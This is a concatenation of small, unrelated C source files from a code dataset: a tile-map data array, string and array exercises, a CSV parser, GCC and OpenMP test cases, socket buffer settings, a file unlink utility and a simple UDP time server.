0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0004,0x0004,0x0004,0x0004,0x0004,0x2003,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x3004,0x3004,
0x3004,0x3004,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0004,0x0004,
0x0004,0x0004,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x3004,0x3004,0x3004,0x3004,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,0x0001,0x0001,
0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,0x0001,0x0001,
0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0004,0x0004,0x0004,0x0004,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x3004,0x3004,0x3004,0x3004,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x2002,0x0001,0x0001,0x0001,0x0001,0x0002,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x2002,0x0001,0x0001,0x0001,0x0001,0x0002,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0004,0x0004,0x0004,0x0004,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x1003,0x3004,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0003,0x0004,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0002,0x0000,0x0000,0x0000,0x0000,0x0000,
0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x3004,0x3004,0x3004,0x3004,
0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x3004,0x3004,
0x3004,0x3004,0x3004,0x3004,0x3004,0x3004,0x0000,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0011,0x0012,0x0013,0x0014,0x0012,0x0015,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0011,0x0012,
0x0013,0x0014,0x0012,0x0015,0x0001,0x0001,0x0001,0x0001,
0x0011,0x0012,0x0013,0x0014,0x0012,0x0015,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0002,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
0x0001,0x0001,0x0016,0x0017,0x0018,0x0019,0x0017,0x001A,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0016,0x0017,
0x0018,0x0019,0x0017,0x001A,0x0001,0x0001,0x0001,0x0001,
0x0016,0x0017,0x0018,0x0019,0x0017,0x001A,0x0001,0x0001,
0x0001,0x0001,0x0001,0x0001,0x0001,0x0001,0x0002,0x0000,
0x0000,0x0000,0x0000,0x0000,0x0000,0x2002,0x0001,0x0001,
};
//}}BLOCK(Level_1_Tower_MainBack_2)
|
the_stack_data/332440.c | /* Copyright (c) 2019-2021 Grant Hadlich
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the Software), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED AS IS, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include <stdlib.h>
int cmpfunc (const void * a, const void * b) {
int left = *(int*)a;
int right = *(int*)b;
if (right > left) {
return -1;
}
else if (right < left) {
return 1;
}
else {
return 0;
}
}
/**
* Note: The returned array must be malloced, assume caller calls free().
*/
int* intersect(int* nums1, int nums1Size, int* nums2, int nums2Size, int* returnSize){
if (returnSize == NULL) {
return NULL;
}
if (nums1Size <= 0 || nums2Size <= 0 || nums1 == NULL || nums2 == NULL) {
*returnSize = 0;
return NULL;
}
qsort(nums1, nums1Size, sizeof(int), cmpfunc);
qsort(nums2, nums2Size, sizeof(int), cmpfunc);
int* ret = (int*)calloc(nums1Size+nums2Size, sizeof(int));
int i = 0;
int j = 0;
int k = 0;
while (i < nums1Size && j < nums2Size) {
if (nums1[i] < nums2[j]) {
i++;
}
else if (nums1[i] > nums2[j]) {
j++;
}
else {
ret[k++] = nums1[i];
i++;j++;
}
}
*returnSize = k;
return ret;
} |
the_stack_data/315306.c | // Simple atoi program
int atoi_(int src[]) {
int s;
s = 0;
int isMinus;
isMinus = 1;
int i;
i = 0;
while(src[i] == 32) { // 跳过空白符
i = i + 1;
}
if(src[i] == 43 || src[i] == 45) {
if(src[i] == 45) {
isMinus = -1;
}
i = i + 1;
} else if (src[i] < 48 || src[i] > 57) {
//如果第一位既不是符号也不是数字,直接返回异常值
s = 2147483647;
return s;
}
while (src[i] != 0 && src[i] > 47 && src[i] < 58) {
s = s * 10 + src[i] - 48;
i = i + 1;
}
return s * isMinus;
}
int main () {
int string[500];
int temp;
temp = 0;
int i;
i = 0;
while (temp != 10) {
temp = getch();
string[i] = temp;
i = i + 1;
}
string[i] = 0;
i = atoi_(string);
putint(i);
return 0;
}
|
the_stack_data/155154.c |
#include<stdio.h>
#include<stdlib.h>
#include<stdbool.h>
#include<math.h>
#include<time.h>
/*
switch ( a ) {
case b:
// Code
break;
case c:
// Code
break;
default:
// Code
break;
} */
int calctime(int n, int d)
{
switch(d)
{
case 6:
return 10*n*86400;
break;
case 7:
return n*86400;
break;
case 8:
return 10*n*3600;
break;
case 9:
return n*3600;
break;
case 10:
return 10*n*60;
break;
case 11:
return n*60;
break;
case 12:
return 10*n;
break;
case 13:
return n;
break;
default:
printf("\nError in calctime\n");
return NAN;
break;
}
}
void count(int c, int counter[], int line_inf[])
{
switch(counter[0])
{
case 0:
line_inf[0]=(int)(c-'0');
break;
case 1:
if(counter[1]>5)
line_inf[1]+=calctime((int)(c-'0'),counter[1]);
break;
case 4:
if(counter[1]>5)
line_inf[4]+=calctime((int)(c-'0'),counter[1]);
break;
default:
break;
}
}
int read_line(FILE *file, int counter[], int line_inf[])
{
int i, c;
for(i=0; i<7; i++)
line_inf[i] = 0;
while( ((c = getc(file)) != '\n') && ((c = getc(file)) != EOF) )
{
switch(c)
{
case ';':
counter[0]++;
counter[1]=0;
break;
default:
count(c, counter, line_inf);
counter[1]++;
break;
}
}
counter[0]=0;
counter[1]=0;
if(c == '\n')
return 1;
return 0;
}
int main(void)
{
int counter[2]={0,0}, n_lines=0, c, line_inf[7];
float totaltrip=0;
FILE *file;
file = fopen("paris-201503.csv", "r");
if (file) {
while ((c = getc(file)) != '\n') putchar(c);
printf("\n");
read_line(file, counter, line_inf);
printf("%d %d %d %d %d %d %d\n",line_inf[0],line_inf[1],line_inf[2],line_inf[3],line_inf[4],line_inf[5],line_inf[6]);
/*
while ((c = getc(file)) != EOF)
{
switch(c)
{
case ';':
counter[0]++;
counter[1]=0;
break;
case '\n':
counter[0]=0;
n_lines++;
totaltrip += (trip[1]-trip[0]+86400)%86400;
// printf("\nTime={%f}\n", (float)(trip[1]-trip[0])/60);
trip[0]=0; trip[1]=0;
break;
default:
count(c, counter, reason, trip);
counter[1]++;
break;
}
// putchar(c);
}
*/
fclose(file);
}
getchar();
return 0;
}
|
the_stack_data/193894161.c | /* { dg-skip-if "ptxas runs out of memory" { nvptx-*-* } } */
/* { dg-skip-if "Array too big" { "pdp11-*-*" } { "-mint32" } } */
/* { dg-require-effective-target int32plus } */
/* Inspired by the test case for PR middle-end/52640. */
typedef struct
{
char *value;
} REFERENCE;
/* Add a few "extern int Xxxxxx ();" declarations. */
#undef DEF
#undef LIM1
#undef LIM2
#undef LIM3
#undef LIM4
#undef LIM5
#undef LIM6
#define DEF(x) extern int x ()
#define LIM1(x) DEF(x##0); DEF(x##1); DEF(x##2); DEF(x##3); DEF(x##4); \
DEF(x##5); DEF(x##6); DEF(x##7); DEF(x##8); DEF(x##9);
#define LIM2(x) LIM1(x##0) LIM1(x##1) LIM1(x##2) LIM1(x##3) LIM1(x##4) \
LIM1(x##5) LIM1(x##6) LIM1(x##7) LIM1(x##8) LIM1(x##9)
#define LIM3(x) LIM2(x##0) LIM2(x##1) LIM2(x##2) LIM2(x##3) LIM2(x##4) \
LIM2(x##5) LIM2(x##6) LIM2(x##7) LIM2(x##8) LIM2(x##9)
#define LIM4(x) LIM3(x##0) LIM3(x##1) LIM3(x##2) LIM3(x##3) LIM3(x##4) \
LIM3(x##5) LIM3(x##6) LIM3(x##7) LIM3(x##8) LIM3(x##9)
#define LIM5(x) LIM4(x##0) LIM4(x##1) LIM4(x##2) LIM4(x##3) LIM4(x##4) \
LIM4(x##5) LIM4(x##6) LIM4(x##7) LIM4(x##8) LIM4(x##9)
#define LIM6(x) LIM5(x##0) LIM5(x##1) LIM5(x##2) LIM5(x##3) LIM5(x##4) \
LIM5(x##5) LIM5(x##6) LIM5(x##7) LIM5(x##8) LIM5(x##9)
LIM5 (X);
/* Add references to them, or GCC will simply ignore the extern decls. */
#undef DEF
#undef LIM1
#undef LIM2
#undef LIM3
#undef LIM4
#undef LIM5
#undef LIM6
#define DEF(x) (char *) x
#define LIM1(x) DEF(x##0), DEF(x##1), DEF(x##2), DEF(x##3), DEF(x##4), \
DEF(x##5), DEF(x##6), DEF(x##7), DEF(x##8), DEF(x##9),
#define LIM2(x) LIM1(x##0) LIM1(x##1) LIM1(x##2) LIM1(x##3) LIM1(x##4) \
LIM1(x##5) LIM1(x##6) LIM1(x##7) LIM1(x##8) LIM1(x##9)
#define LIM3(x) LIM2(x##0) LIM2(x##1) LIM2(x##2) LIM2(x##3) LIM2(x##4) \
LIM2(x##5) LIM2(x##6) LIM2(x##7) LIM2(x##8) LIM2(x##9)
#define LIM4(x) LIM3(x##0) LIM3(x##1) LIM3(x##2) LIM3(x##3) LIM3(x##4) \
LIM3(x##5) LIM3(x##6) LIM3(x##7) LIM3(x##8) LIM3(x##9)
#define LIM5(x) LIM4(x##0) LIM4(x##1) LIM4(x##2) LIM4(x##3) LIM4(x##4) \
LIM4(x##5) LIM4(x##6) LIM4(x##7) LIM4(x##8) LIM4(x##9)
#define LIM6(x) LIM5(x##0) LIM5(x##1) LIM5(x##2) LIM5(x##3) LIM5(x##4) \
LIM5(x##5) LIM5(x##6) LIM5(x##7) LIM5(x##8) LIM5(x##9)
REFERENCE references[] = {
LIM5 (X)
0
};
|
the_stack_data/43889044.c | /* Write the function any(s1, s2), which returns the first location in the string
s1 where any character form the string s2 occurs, or -1 if s1 contains no characters
from s2. */
#include <stdio.h>
#define MAXLEN 20
int any(char s1[], char s2[]);
int main(void)
{
char s1[MAXLEN], s2[MAXLEN];
printf("Enter the string: ");
scanf("%s", s1);
printf("Enter the matching string: ");
scanf("%s", s2);
printf("The first position is: %d\n", any(s1, s2));
return 0;
}
int any(char s[], char m[])
{
int i, j;
for (i = 0; s[i] != '\0'; ++i)
for (j = 0; m[j] != '\0'; ++j)
if (s[i] == m[j])
return i;
return -1;
}
|
the_stack_data/990139.c | /* 152042 松下 旦 */
#include <stdio.h>
#include <math.h>
#define INPUT_NUM 100
#define ROW 10
#define COL 10
double average(double input[INPUT_NUM]);
double variance(double input[INPUT_NUM]);
double standard_deviation(double input[INPUT_NUM]);
void score(double input[INPUT_NUM], double *score_arr);
void print_arr(double *arr);
int main(void){
int i;
double x[INPUT_NUM], score_arr[INPUT_NUM];
for(i=0; i<INPUT_NUM; i++){
scanf("%lf", &x[i]);
}
//printf("分散は: %f \n標準偏差は: %f \nです。\n", variance(x), standard_deviation(x));
score(x, score_arr);
print_arr(score_arr);
return 0;
}
// 平均を求める
double average(double input[INPUT_NUM]){
int i;
double sum;
sum = 0;
for(i=0; i<INPUT_NUM; i++){
sum += input[i];
}
return sum / (double) INPUT_NUM;
}
// 分散を求める
double variance(double input[INPUT_NUM]){
int i;
double distance_sum, av;
distance_sum = 0;
av = average(input);
for(i=0; i<INPUT_NUM; i++){
distance_sum += pow(input[i] - av, 2);
}
return distance_sum / (double) INPUT_NUM;
}
// 標準偏差を求める
double standard_deviation(double input[INPUT_NUM]){
return sqrt(variance(input));
}
// 標準得点を求める
void score(double input[INPUT_NUM], double *score_arr){
int i;
double av, sd;
av = average(input);
sd = standard_deviation(input);
for(i=0; i<INPUT_NUM; i++){
scanf("%lf", &input[i]);
score_arr[i] = (input[i] - av) / sd;
}
}
// 配列を行列形式でprintf
void print_arr(double *arr){
int row, col, i=0;
printf("\n");
for(row=0; row<ROW; row++){
for(col=0; col<COL; col++){
if(i < INPUT_NUM){
printf("%10f ", arr[row*COL+col]);
}else{
goto FINISH;
}
i++;
}
printf("\n");
}
FINISH: printf("\n");
}
|
the_stack_data/84421.c | /* $OpenBSD: test-18.c,v 1.1 2006/04/20 04:03:05 cloder Exp $ */
/*
* Placed in the public domain by Chad Loder <[email protected]>.
*
* Test lint dealing with LINTUSED comments.
*/
/* LINTUSED */
int g;
int u;
/* ARGSUSED */
int
main(int argc, char* argv[])
{
/* LINTUSED */
int a, b;
int c;
return 0;
}
|
the_stack_data/43621.c | /* PR c++/26943 */
/* { dg-do run } */
extern int omp_set_dynamic (int);
extern int omp_get_thread_num (void);
extern void abort (void);
int a = 8, b = 12, c = 16, d = 20, j = 0, l = 0;
char e[10] = "a", f[10] = "b", g[10] = "c", h[10] = "d";
volatile int k;
int
main (void)
{
int i;
omp_set_dynamic (0);
omp_set_nested (1);
#pragma omp parallel num_threads (2) reduction (+:l) \
firstprivate (a, b, c, d, e, f, g, h, j)
if (k == omp_get_thread_num ())
{
#pragma omp parallel for shared (a, e) firstprivate (b, f) \
lastprivate (c, g) private (d, h) \
schedule (static, 1) num_threads (4) \
reduction (+:j)
for (i = 0; i < 4; i++)
{
if (a != 8 || b != 12 || e[0] != 'a' || f[0] != 'b')
j++;
#pragma omp barrier
#pragma omp atomic
a += i;
b += i;
c = i;
d = i;
#pragma omp atomic
e[0] += i;
f[0] += i;
g[0] = 'g' + i;
h[0] = 'h' + i;
#pragma omp barrier
if (a != 8 + 6 || b != 12 + i || c != i || d != i)
j += 8;
if (e[0] != 'a' + 6 || f[0] != 'b' + i || g[0] != 'g' + i)
j += 64;
if (h[0] != 'h' + i)
j += 512;
}
if (j || a != 8 + 6 || b != 12 || c != 3 || d != 20)
++l;
if (e[0] != 'a' + 6 || f[0] != 'b' || g[0] != 'g' + 3 || h[0] != 'd')
l += 8;
}
if (l)
abort ();
if (a != 8 || b != 12 || c != 16 || d != 20)
abort ();
if (e[0] != 'a' || f[0] != 'b' || g[0] != 'c' || h[0] != 'd')
abort ();
return 0;
}
|
the_stack_data/64167.c | #include<stdio.h>
int main()
{
int n,k;
scanf("%d%d",&n,&k);
int i;
int a[101];
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
}
int l,r,j;
int H[101];
int N,M,max,min;
for(i=0;i<k;i++)
{
int N=0,M=1,C=0;
scanf("%d%d",&l,&r);
for(j=l;j<=r;++j)
{
N=N+(a[j]%n);
N=N%n;
M=M*(a[j]%n);
M=M%n;
}
if(N<M)
{
min=N;
max=M;
}
else
{
min=M;
max=N;
}
for(j=min;j<=max;++j)
{
C=C^a[j];
}
H[i]=C;
}
for(i=0;i<k;i++)
{
printf("%d\n",H[i]);
}
return 0;
} |
the_stack_data/57949609.c | const char* grib_get_git_sha1()
{
return "";
}
|
the_stack_data/1091525.c | #include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
if(argc < 2) return 1;
int i,j,rows;
// printf("Enter the number of rows: ");
// scanf("%d",&rows);
srand(0);
rows = atoi(argv[1]);//6;//rand() % 10;
for(i=1;i<=rows;++i)
{
for(j=1;j<=i;++j)
{
printf("* ");
}
printf("\n");
}
return 0;
}
|
the_stack_data/153267338.c | //
// Created by zing on 2018/2/3.
//
#include <stdio.h>
#include <string.h>
/* Append SRC onto DEST. */
int main() {
char str[] = "Hello C";
char str2[50] = "Hello World";
printf("%s\n", str);//Hello C
printf("%s\n", str2);//Hello World
char *str3 = strcat(str2, str);
printf("%s\n", str2);//Hello WorldHello C
printf("%s\n", str3);//Hello WorldHello C
str3 = "hi everyone";
printf("%s\n", str3);//hi everyone
printf("%s\n", str2);//Hello WorldHello C
str2[2] = 'L';
str[2] = 'L';
str[0] = 'h';
printf("%s\n", str2);//HeLlo WorldHello C
printf("%s\n", str);//heLlo C
char *str4 = "hi world";
printf("%c\n", str4[0]);//h
printf("%s\n", str4);
char str5[80];
strcpy(str5, "these ");
strcat(str5, "strings ");
strcat(str5, "are ");
strcat(str5, "concatenated.");
puts(str5);
return 0;
} |
the_stack_data/1259873.c | /*
2020/5/9
设置socket缓冲区的大小
根据关键字 SO_SNDBUF 和关键字 SO_RCVBUF
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
void error_handling(char *message);
int main()
{
int sock;
int snd_buf=1024*3, rcv_buf=1024*3, state;
socklen_t len;
sock = socket(PF_INET, SOCK_STREAM, 0);
len = sizeof(snd_buf);
state = setsockopt(sock, SOL_SOCKET, SO_RCVBUF, (void*)&rcv_buf, sizeof(rcv_buf));
if (state)
{
error_handling("getsockopt() error!");
}
len = sizeof(rcv_buf);
state = setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (void*)&snd_buf, sizeof(snd_buf));
if (state)
{
error_handling("getsockopt() error!");
}
printf("Input buffer size: %d \n", rcv_buf);
printf("Output buffer size: %d \n", snd_buf);
return 0;
}
void error_handling(char *message)
{
fputs(message, stderr);
fputc('\n', stderr);
exit(1);
}
|
the_stack_data/121481.c | #include <stdio.h>
#define N 5
int rechercheDicho(int A[], int x);
int main()
{
int A[N] = {-1, 2, 3, 7, 9};
int x;
printf("Entrer un nombre x: ");
scanf("%d", &x);
int index = rechercheDicho(A, x);
printf("T[%d] = %d\n", index, x);
}
int rechercheDicho(int A[], int x)
{
int taille = N;
while (A[taille / 2] /= x)
{
}
} |
the_stack_data/29130.c | #include<stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
if (argc != 2) {
printf("useage: ./ifFileExiste file-realpath");
return -1;
}
if (!access(argv[1], 0)) {
printf("file existe.\n");
} else {
printf("file not existe.\n");
}
return 0;
}
|
the_stack_data/86972.c | main(argc, argv)
int argc; char *argv[];
{
int i;
for (i = 1; i < argc; i++) {
if (unlink(argv[i]) == -1) {
printf("Cannot unlink \"%s\"\n", argv[i]);
exit(1);
}
}
exit(0);
}
|
the_stack_data/1056725.c | #include<sys/socket.h>
#include<sys/types.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<time.h>
#include <unistd.h>
int main()
{
struct sockaddr_in serv_addr, cli_addr;
int skfd, r, s, cli_addr_len;
int short serv_port = 25020; /*port number to be used by the server*/
char serv_ip[] = "127.0.0.1"; /*server's IP-address*/
char buff[256]; /*buffer for sending and receiving messages*/
char sbuff[256];
time_t ticks;
/*initializing server socket address structure with zero values*/
bzero(&serv_addr, sizeof(serv_addr));
/*filling up the server socket address structure with appropriate values*/
serv_addr.sin_family = AF_INET; /*address family*/
serv_addr.sin_port = htons(serv_port); /*port number*/
inet_aton(serv_ip, (&serv_addr.sin_addr)); /*IP-address*/
printf("\nUDP TIME SERVER.\n");
/*creating socket*/
if((skfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
{
printf("\nSERVER ERROR: Cannot create socket.\n");
exit(1);
}
/*binding server socket address structure*/
if((bind(skfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr))) < 0)
{
printf("\nSERVER ERROR: Cannot bind.\n");
close(skfd);
exit(1);
}
for( ; ; )
{
/*server waits, till client sends any message to be receivied*/
printf("\nSERVER: Waiting for client...Press Cntrl + c to stop echo server.\n");
cli_addr_len = sizeof(cli_addr);
if((r = recvfrom(skfd, buff, 256, 0, (struct sockaddr*)&cli_addr, &cli_addr_len))
< 0)
{
printf("\nSERVER ERROR: Cannot receive.\n");
close(skfd);
exit(1);
}
buff[r] = '\0';
printf("\nSERVER: Time received from client %s: %s.\n",
inet_ntoa(cli_addr.sin_addr), buff);
/*calculate current time and write it to the buffer*/
ticks = time(NULL);
snprintf(sbuff, 256, "%s", ctime(&ticks));
if((s = sendto(skfd, sbuff, 256, 0, (struct sockaddr*)&cli_addr, cli_addr_len))<0)
{
printf("\nSERVER ERROR: Cannot send.\n");
close(skfd);
exit(1);
}
printf("\nSERVER: Message Time back to client %s.\n",
inet_ntoa(cli_addr.sin_addr)); /*sent 's' bytes to client*/
} /*for ends*/
} /*main ends*/
|
the_stack_data/95449701.c | #include <stdio.h>
